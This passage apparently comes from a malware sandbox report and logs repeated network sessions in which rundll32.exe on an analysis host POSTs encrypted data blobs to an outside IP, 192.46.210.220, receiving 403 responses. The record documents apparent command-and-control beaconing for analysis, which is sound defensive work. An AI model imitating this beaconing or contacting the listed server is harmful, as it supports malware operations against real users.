2021-10-28 02:45:43 UTC	94	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:44 UTC	99	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49761	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:08 UTC	9	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:08 UTC	10	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:08 UTC	14	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:08 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49833	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:44 UTC	99	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:44 UTC	99	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:45 UTC	104	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49839	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:47 UTC	104	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:47 UTC	104	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:48 UTC	109	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49841	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:48 UTC	109	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:48 UTC	109	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:49 UTC	114	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49847	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:52 UTC	114	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:52 UTC	114	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:53 UTC	124	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49851	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:53 UTC	119	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:53 UTC	119	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:53 UTC	124	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49857	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:56 UTC	124	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:56 UTC	124	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:56 UTC	133	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:56 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49859	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:56 UTC	129	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:56 UTC	129	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:57 UTC	134	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49865	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:00 UTC	134	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:00 UTC	134	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:00 UTC	143	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49872	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:00 UTC	139	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:00 UTC	139	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:01 UTC	144	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:01 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49878	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:03 UTC	144	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:03 UTC	144	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:04 UTC	153	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49768	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:11 UTC	14	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:11 UTC	15	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:12 UTC	24	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49880	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:04 UTC	149	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:04 UTC	149	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:05 UTC	153	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49887	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:07 UTC	154	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
